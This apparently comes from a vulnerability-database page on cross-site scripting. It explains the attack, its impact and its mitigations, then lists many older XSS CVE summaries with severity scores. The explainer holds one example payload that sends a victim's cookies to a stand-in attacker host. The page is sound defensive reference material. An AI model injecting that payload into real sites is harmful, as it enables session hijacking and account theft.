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Cross-Site Scripting

web MEDIUM

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

How It Works

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.

The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.

A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.

Impact

  • Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
  • Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
  • Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
  • Keylogging: Monitor and exfiltrate everything users type on the compromised page
  • Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
  • Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests

Real-World Examples

A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.

eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.

British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.

Mitigation

  • Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
  • Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
  • HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
  • Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
  • DOM-based XSS prevention: Use safe APIs like textContent instead of innerHTML; avoid passing user data to dangerous sinks like eval()

Recent CVEs (39354)

EPSS 0% CVSS 4.3
MEDIUM This Month

Multiple cross-site scripting (XSS) vulnerabilities in iNotes 8.5.x in IBM Lotus Domino 8.5 before 8.5.3 FP5 allow remote attackers to inject arbitrary web script or HTML via unspecified vectors, aka. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. No vendor patch available.

IBM XSS Lotus Domino +1
NVD
EPSS 0% CVSS 3.5
LOW Monitor

Cross-site scripting (XSS) vulnerability in iNotes 8.5.x in IBM Lotus Domino 8.5 before 8.5.3 FP5 allows remote authenticated users to inject arbitrary web script or HTML via unspecified vectors, aka. Rated low severity (CVSS 3.5), this vulnerability is remotely exploitable. No vendor patch available.

IBM XSS Lotus Domino +1
NVD
EPSS 0% CVSS 3.5
LOW Monitor

Cross-site scripting (XSS) vulnerability in iNotes 8.5.x in IBM Lotus Domino 8.5 before 8.5.3 FP5 allows remote authenticated users to inject arbitrary web script or HTML via unspecified vectors, aka. Rated low severity (CVSS 3.5), this vulnerability is remotely exploitable. No vendor patch available.

IBM XSS Lotus Domino +1
NVD
EPSS 0% CVSS 3.5
LOW Monitor

Cross-site scripting (XSS) vulnerability in the server in IBM Cognos Business Intelligence (BI) 8.4.1, 10.1, 10.1.1, 10.2, and 10.2.1 allows remote authenticated users to inject arbitrary web script. Rated low severity (CVSS 3.5), this vulnerability is remotely exploitable. No vendor patch available.

IBM XSS Cognos Business Intelligence
NVD
EPSS 0% CVSS 4.3
MEDIUM This Month

Multiple cross-site scripting (XSS) vulnerabilities in the (1) Accelerator JSPs, (2) Organization Administration Console JSPs, and (3) Administration Console JSPs in WebSphere Commerce Tools in IBM. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. No vendor patch available.

IBM XSS Websphere Commerce
NVD
EPSS 1% CVSS 4.3
MEDIUM POC This Month

Cross-site scripting (XSS) vulnerability in search.php in MYRE Business Directory allows remote attackers to inject arbitrary web script or HTML via the look parameter. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. Public exploit code available and no vendor patch available.

PHP XSS Myre Business Directory
NVD Exploit-DB
EPSS 1% CVSS 4.3
MEDIUM POC This Month

Cross-site scripting (XSS) vulnerability in vacation/1_mobile/alert_members.php in MYRE Vacation Rental Software allows remote attackers to inject arbitrary web script or HTML via the link_idd. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. Public exploit code available and no vendor patch available.

PHP XSS Myre Vacation Rental
NVD Exploit-DB
EPSS 1% CVSS 4.3
MEDIUM POC This Month

Cross-site scripting (XSS) vulnerability in search.php in MYRE Realty Manager allows remote attackers to inject arbitrary web script or HTML via the cat_id1 parameter. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. Public exploit code available and no vendor patch available.

PHP XSS Myre Realty Manager
NVD Exploit-DB
EPSS 0% CVSS 2.6
LOW PATCH Monitor

Cross-site scripting (XSS) vulnerability in Request Tracker (RT) 4.x before 4.0.13, when MakeClicky is configured, allows remote attackers to inject arbitrary web script or HTML via a URL in a. Rated low severity (CVSS 2.6), this vulnerability is remotely exploitable.

XSS Rt
NVD
EPSS 0% CVSS 4.3
MEDIUM PATCH This Month

Request Tracker (RT) 3.8.x before 3.8.17 and 4.0.x before 4.0.13 allows remote attackers to inject multiple Content-Disposition HTTP headers and possibly conduct cross-site scripting (XSS) attacks. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable.

XSS Rt
NVD
EPSS 0% CVSS 4.3
MEDIUM PATCH This Month

Cross-site scripting (XSS) vulnerability in Request Tracker (RT) 3.8.3 through 3.8.16 and 4.0.x before 4.0.13 allows remote attackers to inject arbitrary web script or HTML via the filename of an. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable.

XSS Rt
NVD
EPSS 0% CVSS 4.3
MEDIUM PATCH This Month

Cross-site scripting (XSS) vulnerability in the Javascript and CSS Optimizer extension before 1.1.14 for TYPO3 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable.

XSS Js Css Optimizer
NVD
EPSS 0% CVSS 2.1
LOW PATCH Monitor

Cross-site scripting (XSS) vulnerability in the Imagemenu module 6.x-1.x before 6.x-1.4 for Drupal allows remote authenticated users with the "administer imagemenu" permission to inject arbitrary web. Rated low severity (CVSS 2.1), this vulnerability is remotely exploitable.

XSS Imagemenu
NVD
EPSS 1% CVSS 3.5
LOW POC Monitor

Cross-site scripting (XSS) vulnerability in Advantech WebAccess (formerly BroadWin WebAccess) before 7.1 2013.05.30 allows remote authenticated users to inject arbitrary web script or HTML via. Rated low severity (CVSS 3.5), this vulnerability is remotely exploitable. Public exploit code available and no vendor patch available.

XSS Advantech Webaccess
NVD Exploit-DB
EPSS 0% CVSS 3.5
LOW Monitor

Cross-site scripting (XSS) vulnerability in the Administrative console in IBM WebSphere Application Server (WAS) 6.1 before 6.1.0.47, 7.0 before 7.0.0.31, 8.0 before 8.0.0.7, and 8.5 before 8.5.5.1. Rated low severity (CVSS 3.5), this vulnerability is remotely exploitable. No vendor patch available.

IBM XSS Websphere Application Server
NVD
EPSS 0% CVSS 3.5
LOW Monitor

Cross-site scripting (XSS) vulnerability in the Administrative console in IBM WebSphere Application Server (WAS) 8.0 before 8.0.0.7 and 8.5 before 8.5.5.1 allows remote authenticated users to inject. Rated low severity (CVSS 3.5), this vulnerability is remotely exploitable. No vendor patch available.

IBM XSS Websphere Application Server
NVD
EPSS 0% CVSS 6.8
MEDIUM This Month

Cross-site request forgery (CSRF) vulnerability in the Administrative console in IBM WebSphere Application Server (WAS) 6.1 before 6.1.0.47, 7.0 before 7.0.0.31, 8.0 before 8.0.0.7, and 8.5 before. Rated medium severity (CVSS 6.8), this vulnerability is remotely exploitable. No vendor patch available.

CSRF XSS IBM +1
NVD
EPSS 0% CVSS 4.3
MEDIUM This Month

Cross-site scripting (XSS) vulnerability in the Administrative console in IBM WebSphere Application Server (WAS) 6.1 before 6.1.0.47, 7.0 before 7.0.0.29, 8.0 before 8.0.0.7, and 8.5 before 8.5.5.0. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. No vendor patch available.

IBM XSS Websphere Application Server
NVD
EPSS 0% CVSS 3.5
LOW Monitor

Cross-site scripting (XSS) vulnerability in IBM WebSphere Application Server (WAS) 7.0 before 7.0.0.29, 8.0 before 8.0.0.7, and 8.5 before 8.5.5.0, when OAuth is used, allows remote authenticated. Rated low severity (CVSS 3.5), this vulnerability is remotely exploitable. No vendor patch available.

IBM XSS Websphere Application Server
NVD
EPSS 0% CVSS 2.1
LOW POC PATCH Monitor

Cross-site scripting (XSS) vulnerability in the Monster Menus module 7.x-1.x before 7.x-1.12 for Drupal allows remote authenticated users with permissions to add pages to inject arbitrary web script. Rated low severity (CVSS 2.1), this vulnerability is remotely exploitable. Public exploit code available.

XSS Monster Menus
NVD
EPSS 0% CVSS 4.3
MEDIUM PATCH This Month

Cross-site scripting (XSS) vulnerability in the Static Info Tables (static_info_tables) extension before 2.3.1 for TYPO3 allows remote attackers to inject arbitrary web script or HTML via unspecified. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable.

XSS Static Info Tables
NVD
EPSS 1% CVSS 2.6
LOW PATCH Monitor

Cross-site scripting (XSS) vulnerability in the Spambot module 6.x-3.x before 6.x-3.2 and 7.x-1.x before 7.x-1.1 for Drupal allows certain remote attackers to inject arbitrary web script or HTML via. Rated low severity (CVSS 2.6), this vulnerability is remotely exploitable.

XSS Spambot
NVD
EPSS 0% CVSS 4.3
MEDIUM POC This Month

Cross-site scripting (XSS) vulnerability in Forums/EditPost.aspx in mojoPortal before 2.3.9.8 allows remote attackers to inject arbitrary web script or HTML via the txtSubject parameter. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. Public exploit code available and no vendor patch available.

XSS Mojoportal
NVD
EPSS 1% CVSS 4.3
MEDIUM POC This Month

Cross-site scripting (XSS) vulnerability in secure/admin/user/views/deleteuserconfirm.jsp in the Admin Panel in Atlassian JIRA before 6.0.5 allows remote attackers to inject arbitrary web script or. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. Public exploit code available and no vendor patch available.

Atlassian XSS Jira
NVD
EPSS 0% CVSS 3.5
LOW POC Monitor

Cross-site scripting (XSS) vulnerability in RiteCMS 1.0.0 allows remote authenticated users to inject arbitrary web script or HTML via the mode parameter to cms/index.php. Rated low severity (CVSS 3.5), this vulnerability is remotely exploitable. Public exploit code available and no vendor patch available.

PHP XSS Ritecms
NVD Exploit-DB
EPSS 1% CVSS 4.3
MEDIUM This Month

Multiple cross-site scripting (XSS) vulnerabilities in the signin functionality of ics in MyTeamwork services in Alcatel-Lucent Omnitouch 8660 My Teamwork before 6.7, Omnitouch 8670 Automated Message. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. No vendor patch available.

XSS Omnitouch 8400 Instant Communications Suite Omnitouch 8460 Advanced Communication Server +2
NVD
EPSS 1% CVSS 2.6
LOW POC PATCH Monitor

Cross-site scripting (XSS) vulnerability in the Resource Manager in the MEE submodule (mee.module) in the Scald module 6.x-1.x before 6.x-1.0-beta3 and 7.x-1.x before 7.x-1.1 for Drupal allows remote. Rated low severity (CVSS 2.6), this vulnerability is remotely exploitable. Public exploit code available.

XSS Scald
NVD
EPSS 1% CVSS 4.3
MEDIUM POC PATCH This Month

Multiple cross-site scripting (XSS) vulnerabilities in the Scald module 7.x-1.x before 7.x-1.1 for Drupal allow remote attackers to inject arbitrary web script or HTML via the (1) flash_uri, (2). Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. Public exploit code available.

XSS Scald
NVD
EPSS 7% CVSS 4.3
MEDIUM This Month

Multiple cross-site scripting (XSS) vulnerabilities in Apache CloudStack before 4.1.1 allow remote attackers to inject arbitrary web script or HTML via the (1) Physical network name to the Zone. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. No vendor patch available.

Apache XSS Cloudstack
NVD
EPSS 1% CVSS 4.3
MEDIUM POC This Month

Cross-site scripting (XSS) vulnerability in serendipity_admin_image_selector.php in Serendipity 1.6.2 and earlier allows remote attackers to inject arbitrary web script or HTML via the. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. Public exploit code available and no vendor patch available.

PHP XSS Serendipity
NVD Exploit-DB
EPSS 6% CVSS 4.3
MEDIUM POC This Month

Multiple cross-site scripting (XSS) vulnerabilities in Vastal I-Tech phpVID 1.2.3 allow remote attackers to inject arbitrary web script or HTML via the (1) n parameter to browse_videos.php or the (2). Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. Public exploit code available and no vendor patch available.

PHP XSS Phpvid
NVD Exploit-DB
EPSS 1% CVSS 4.3
MEDIUM PATCH This Month

Multiple cross-site scripting (XSS) vulnerabilities in actionscript/Jplayer.as in the Flash SWF component (jplayer.swf) in jPlayer before 2.2.23 allow remote attackers to inject arbitrary web script. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable.

XSS Jplayer
NVD GitHub
EPSS 0% CVSS 2.6
LOW POC Monitor

Cross-site scripting (XSS) vulnerability in install/forum_data/src/custom_fields.inc.t in FUDforum 3.0.4.1 and earlier, when registering a new user, allows remote attackers to inject arbitrary web. Rated low severity (CVSS 2.6), this vulnerability is remotely exploitable. Public exploit code available and no vendor patch available.

PHP XSS Fudforum
NVD
EPSS 0% CVSS 4.3
MEDIUM This Month

Cross-site scripting (XSS) vulnerability in the RealURL Management (realurlmanagement) extension 0.3.4 and earlier for TYPO3 allows remote attackers to inject arbitrary web script or HTML via. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. No vendor patch available.

XSS Realurlmanagement
NVD
EPSS 1% CVSS 4.3
MEDIUM PATCH This Month

Cross-site scripting (XSS) vulnerability in the Faceted Search (ke_search) extension before 1.4.1 for TYPO3 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable.

XSS Ke Search
NVD
EPSS 1% CVSS 4.3
MEDIUM PATCH This Month

Cross-site scripting (XSS) vulnerability in the Store Locator (locator) extension before 3.1.5 for TYPO3 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable.

XSS Locator
NVD
EPSS 0% CVSS 4.3
MEDIUM This Month

Cross-site scripting (XSS) vulnerability in the web-based interface in Juniper Junos Space before 13.1R1.6, as used on the JA1500 appliance and in other contexts, allows remote attackers to inject. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. No vendor patch available.

Juniper XSS Junos Space +2
NVD
EPSS 0% CVSS 3.5
LOW Monitor

Cross-site scripting (XSS) vulnerability in adv_sw.php in the Advanced Management Module (AMM) with firmware BBET before BBET64G and BPET before BPET64G for IBM BladeCenter systems allows remote. Rated low severity (CVSS 3.5), this vulnerability is remotely exploitable. No vendor patch available.

PHP IBM XSS +1
NVD
EPSS 0% CVSS 3.5
LOW PATCH Monitor

Cross-site scripting (XSS) vulnerability in IBM InfoSphere Information Server through 8.5 FP3, 8.7 through FP2, and 9.1 allows remote authenticated users to inject arbitrary web script or HTML via. Rated low severity (CVSS 3.5), this vulnerability is remotely exploitable.

IBM XSS Infosphere Information Server
NVD
EPSS 0% CVSS 4.3
MEDIUM This Month

Multiple cross-site scripting (XSS) vulnerabilities in IBM WebSphere Portal before 8.0.0.1 CF07 allow remote attackers to inject arbitrary web script or HTML via vectors involving the (1) Portal, (2). Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. No vendor patch available.

IBM XSS Websphere Portal
NVD
EPSS 0% CVSS 3.5
LOW PATCH Monitor

Multiple cross-site scripting (XSS) vulnerabilities in IBM InfoSphere Information Server through 8.5 FP3, 8.7 through FP2, and 9.1 allow remote authenticated users to inject arbitrary web script or. Rated low severity (CVSS 3.5), this vulnerability is remotely exploitable.

IBM XSS Infosphere Information Server
NVD
EPSS 1% CVSS 4.3
MEDIUM This Month

Multiple cross-site scripting (XSS) vulnerabilities in AlienVault Open Source Security Information Management (OSSIM) before 4.3.0 allow remote attackers to inject arbitrary web script or HTML via. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. No vendor patch available.

PHP XSS Open Source Security Information Management
NVD
EPSS 1% CVSS 4.3
MEDIUM This Month

Cross-site scripting (XSS) vulnerability in actionscript/Jplayer.as in the Flash SWF component (jplayer.swf) in jPlayer before 2.3.1 allows remote attackers to inject arbitrary web script or HTML via. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. No vendor patch available.

XSS Jplayer
NVD GitHub
EPSS 9% CVSS 4.3
MEDIUM POC PATCH This Month

Multiple cross-site scripting (XSS) vulnerabilities in actionscript/Jplayer.as in the Flash SWF component (jplayer.swf) in jPlayer before 2.2.20, as used in ownCloud Server before 5.0.4 and other. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. Public exploit code available.

XSS Jplayer Owncloud +1
NVD Exploit-DB GitHub
EPSS 3% CVSS 4.3
MEDIUM PATCH This Month

Cross-site scripting (XSS) vulnerability in the "View Log" screen in the Webtools application in Apache Open For Business Project (aka OFBiz) 10.04.01 through 10.04.05, 11.04.01 through 11.04.02, and. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable.

Apache XSS Ofbiz
NVD
EPSS 5% CVSS 4.3
MEDIUM POC PATCH This Month

Cross-site scripting (XSS) vulnerability in core/admin/modules/developer/modules/views/add.php in BigTree CMS 4.0 RC2 and earlier allows remote attackers to inject arbitrary web script or HTML via. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. Public exploit code available.

PHP XSS Bigtree Cms
NVD Exploit-DB GitHub
EPSS 18% CVSS 4.3
MEDIUM This Month

Cross-site scripting (XSS) vulnerability in Microsoft Internet Explorer 6 through 10 allows remote attackers to inject arbitrary web script or HTML via crafted character sequences with EUC-JP. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. Epss exploitation probability 18.2% and no vendor patch available.

Microsoft XSS Internet Explorer
NVD
EPSS 0% CVSS 3.5
LOW Monitor

Cross-site scripting (XSS) vulnerability in IBM Informix Open Admin Tool (OAT) 2.x and 3.x before 3.11.1 allows remote authenticated users to inject arbitrary web script or HTML via a crafted URL. Rated low severity (CVSS 3.5), this vulnerability is remotely exploitable. No vendor patch available.

IBM XSS Informix Open Admin Tool
NVD
EPSS 1% CVSS 4.3
MEDIUM PATCH This Month

Cross-site scripting (XSS) vulnerability in the Static Methods since 2007 (div2007) extension before 0.10.2 for TYPO3 allows remote attackers to inject arbitrary web script or HTML via unspecified. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable.

XSS Static Methods
NVD
EPSS 0% CVSS 4.3
MEDIUM This Month

Multiple cross-site scripting (XSS) vulnerabilities in the SilverStripe e-commerce module 3.0 for SilverStripe CMS allow remote attackers to inject arbitrary web script or HTML via the (1) FirstName,. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. No vendor patch available.

PHP XSS Silverstripe
NVD
EPSS 5% CVSS 2.6
LOW POC Monitor

Cross-site scripting (XSS) vulnerability in article.php in Anchor CMS 0.9.1, when comments are enabled, allows remote attackers to inject arbitrary web script or HTML via the Name field. Rated low severity (CVSS 2.6), this vulnerability is remotely exploitable. Public exploit code available and no vendor patch available.

PHP XSS Anchor Cms
NVD Exploit-DB
EPSS 0% CVSS 4.3
MEDIUM This Month

Cross-site scripting (XSS) vulnerability in admin/admin.php in the Download Monitor plugin before 3.3.6.2 for WordPress allows remote attackers to inject arbitrary web script or HTML via the sort. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. No vendor patch available.

WordPress PHP XSS +1
NVD
EPSS 10% CVSS 4.3
MEDIUM POC THREAT This Month

Multiple cross-site scripting (XSS) vulnerabilities in the Magnolia Form module 1.x before 1.4.7 and 2.x before 2.0.2 for Magnolia CMS allow remote attackers to inject arbitrary web script or HTML. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. Public exploit code available and EPSS exploitation probability 10.3%.

XSS Magnolia Form Module
NVD Exploit-DB
EPSS 6% CVSS 4.3
MEDIUM POC This Month

Cross-site scripting (XSS) vulnerability in files/installer.cleanup.php in the Duplicator plugin before 0.4.5 for WordPress allows remote attackers to inject arbitrary web script or HTML via the. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. Public exploit code available and no vendor patch available.

WordPress PHP XSS +1
NVD Exploit-DB
EPSS 1% CVSS 4.3
MEDIUM POC PATCH This Month

Cross-site scripting (XSS) vulnerability in interface/main/onotes/office_comments_full.php in OpenEMR 4.1.1 allows remote attackers to inject arbitrary web script or HTML via the note parameter. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. Public exploit code available.

PHP XSS Openemr
NVD Exploit-DB
EPSS 0% CVSS 4.3
MEDIUM POC PATCH This Month

Multiple cross-site scripting (XSS) vulnerabilities in Alkacon OpenCms before 8.5.2 allow remote attackers to inject arbitrary web script or HTML via the (1) title parameter to. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. Public exploit code available.

XSS Opencms
NVD GitHub
EPSS 0% CVSS 4.3
MEDIUM POC This Month

Cross-site scripting (XSS) vulnerability in admin/admin.php in the Download Monitor plugin before 3.3.6.2 for WordPress allows remote attackers to inject arbitrary web script or HTML via the p. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. Public exploit code available and no vendor patch available.

WordPress PHP XSS +1
NVD
EPSS 0% CVSS 4.3
MEDIUM This Month

Cross-site scripting (XSS) vulnerability in the MIME e-mail functionality in iNotes in IBM Domino 9.0 before IF3 allows remote attackers to inject arbitrary web script or HTML via unspecified. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. No vendor patch available.

IBM XSS Lotus Domino
NVD
EPSS 0% CVSS 4.3
MEDIUM PATCH This Month

Cross-site scripting (XSS) vulnerability in the MIME e-mail functionality in iNotes in IBM Domino 9.0 before IF3 allows remote attackers to inject arbitrary web script or HTML via unspecified. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable.

IBM XSS Lotus Domino
NVD
EPSS 1% CVSS 4.3
MEDIUM This Month

The Web Workers implementation in Mozilla Firefox before 23.0, Firefox ESR 17.x before 17.0.8, Thunderbird before 17.0.8, Thunderbird ESR 17.x before 17.0.8, and SeaMonkey before 2.20 does not. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. No vendor patch available.

Privilege Escalation Mozilla XSS +4
NVD
EPSS 0% CVSS 4.3
MEDIUM This Month

Mozilla Firefox before 23.0, Firefox ESR 17.x before 17.0.8, Thunderbird before 17.0.8, Thunderbird ESR 17.x before 17.0.8, and SeaMonkey before 2.20 use an incorrect URI within unspecified. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. No vendor patch available.

Privilege Escalation Mozilla XSS +4
NVD
EPSS 2% CVSS 4.3
MEDIUM This Month

The XrayWrapper implementation in Mozilla Firefox before 23.0 and SeaMonkey before 2.20 does not properly address the possibility of an XBL scope bypass resulting from non-native arguments in XBL. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. No vendor patch available.

Mozilla XSS Seamonkey +1
NVD
EPSS 76% 5.8 CVSS 10.0
CRITICAL POC THREAT Emergency

The crypto.generateCRMFRequest function in Mozilla Firefox before 23.0, Firefox ESR 17.x before 17.0.8, Thunderbird before 17.0.8, Thunderbird ESR 17.x before 17.0.8, and SeaMonkey before 2.20 allows. Rated critical severity (CVSS 10.0), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and EPSS exploitation probability 76.5%.

Mozilla XSS Seamonkey +3
NVD Exploit-DB
EPSS 1% CVSS 4.3
MEDIUM This Month

Mozilla Firefox before 23.0, Firefox ESR 17.x before 17.0.8, Thunderbird before 17.0.8, Thunderbird ESR 17.x before 17.0.8, and SeaMonkey before 2.20 do not properly handle the interaction between. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. No vendor patch available.

Mozilla XSS Firefox +3
NVD
EPSS 0% CVSS 3.5
LOW Monitor

Cross-site scripting (XSS) vulnerability in IBM InfoSphere BigInsights 1.1 through 2.1 allows remote authenticated users to inject arbitrary web script or HTML via unspecified vectors. Rated low severity (CVSS 3.5), this vulnerability is remotely exploitable. No vendor patch available.

IBM XSS Infosphere Biginsights
NVD
EPSS 1% CVSS 4.3
MEDIUM This Month

Multiple cross-site scripting (XSS) vulnerabilities in Symantec Backup Exec 2010 R3 before 2010 R3 SP3 and 2012 before SP2 allow remote attackers to inject arbitrary web script or HTML via vectors. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. No vendor patch available.

XSS Backup Exec
NVD
EPSS 0% CVSS 4.3
MEDIUM This Month

Cross-site scripting (XSS) vulnerability in the help page in Juniper Secure Access (SA) with IVE OS before 7.1r13, 7.2.x before 7.2r7, and 7.3.x before 7.3r2 allows remote attackers to inject. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. No vendor patch available.

Juniper XSS Ive Os +16
NVD
EPSS 1% CVSS 4.3
MEDIUM This Month

Multiple cross-site scripting (XSS) vulnerabilities in the management console on the Symantec Web Gateway (SWG) appliance before 5.1.1 allow remote attackers to inject arbitrary web script or HTML. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. No vendor patch available.

XSS Web Gateway Web Gateway Appliance 8450 +1
NVD
EPSS 1% CVSS 4.3
MEDIUM POC PATCH This Month

Multiple cross-site scripting (XSS) vulnerabilities in bb_admin.php in MiniBB before 3.0.1 allow remote attackers to inject arbitrary web script or HTML via the (1) forum_name, (2) forum_group, (3). Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. Public exploit code available.

PHP XSS Minibb
NVD Exploit-DB
EPSS 0% CVSS 4.3
MEDIUM This Month

Cross-site scripting (XSS) vulnerability in the Web Email Protection component in Symantec Encryption Management Server (formerly Symantec PGP Universal Server) before 3.3.0 MP2 allows remote. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. No vendor patch available.

XSS Encryption Management Server Pgp Universal Server
NVD
EPSS 0% CVSS 4.3
MEDIUM This Month

Cross-site scripting (XSS) vulnerability in CA Service Desk Manager 12.5 through 12.7 allows remote attackers to inject arbitrary web script or HTML via unspecified parameters. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. No vendor patch available.

XSS Service Desk Manager
NVD
EPSS 0% CVSS 4.3
MEDIUM POC PATCH This Month

Cross-site scripting (XSS) vulnerability in the auto-complete widget in htdocs/media/rb/js/reviews.js in Review Board 1.6.x before 1.6.17 and 1.7.x before 1.7.10 allows remote attackers to inject. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. Public exploit code available.

XSS Review Board
NVD GitHub
EPSS 0% CVSS 3.5
LOW PATCH Monitor

Cross-site scripting (XSS) vulnerability in libraries/schema/Export_Relation_Schema.class.php in phpMyAdmin 3.5.x before 3.5.8.2 and 4.0.x before 4.0.4.2 allows remote authenticated users to inject. Rated low severity (CVSS 3.5), this vulnerability is remotely exploitable.

PHP XSS Phpmyadmin
NVD
EPSS 0% CVSS 3.5
LOW Monitor

Cross-site scripting (XSS) vulnerability in libraries/plugins/transformations/abstract/TextLinkTransformationsPlugin.class.php in phpMyAdmin 4.0.x before 4.0.4.2 allows remote authenticated users to. Rated low severity (CVSS 3.5), this vulnerability is remotely exploitable. No vendor patch available.

PHP XSS Phpmyadmin
NVD
EPSS 0% CVSS 4.3
MEDIUM PATCH This Month

Multiple cross-site scripting (XSS) vulnerabilities in phpMyAdmin 3.5.x before 3.5.8.2 allow remote attackers to inject arbitrary web script or HTML via vectors involving a JavaScript event in (1) an. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable.

PHP XSS Phpmyadmin
NVD
EPSS 0% CVSS 4.3
MEDIUM This Month

Multiple cross-site scripting (XSS) vulnerabilities in phpMyAdmin 3.5.x before 3.5.8.2 and 4.0.x before 4.0.4.2 allow remote attackers to inject arbitrary web script or HTML via vectors involving (1). Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. No vendor patch available.

XSS Phpmyadmin
NVD
EPSS 0% CVSS 3.5
LOW Monitor

Cross-site scripting (XSS) vulnerability in phpMyAdmin 3.5.x before 3.5.8.2 and 4.0.x before 4.0.4.2 allows remote authenticated users to inject arbitrary web script or HTML via a crafted SQL query. Rated low severity (CVSS 3.5), this vulnerability is remotely exploitable. No vendor patch available.

XSS Phpmyadmin
NVD
EPSS 8% CVSS 2.6
LOW POC Monitor

Multiple cross-site scripting (XSS) vulnerabilities in wp-login.php in the Genetech Solutions Pie-Register plugin before 1.31 for WordPress, when "Allow New Registrations to set their own Password". Rated low severity (CVSS 2.6), this vulnerability is remotely exploitable. Public exploit code available and no vendor patch available.

WordPress PHP XSS +1
NVD Exploit-DB
EPSS 1% CVSS 4.3
MEDIUM POC This Month

Multiple cross-site scripting (XSS) vulnerabilities in Mintboard 0.3 allow remote attackers to inject arbitrary web script or HTML via the (1) name or (2) pass parameter in views/login.php or (3). Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. Public exploit code available and no vendor patch available.

PHP XSS Mintboard
NVD Exploit-DB
EPSS 4% CVSS 4.3
MEDIUM POC This Month

Cross-site scripting (XSS) vulnerability in view.php in Machform 2 allows remote attackers to inject arbitrary web script or HTML via the element_2 parameter. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. Public exploit code available and no vendor patch available.

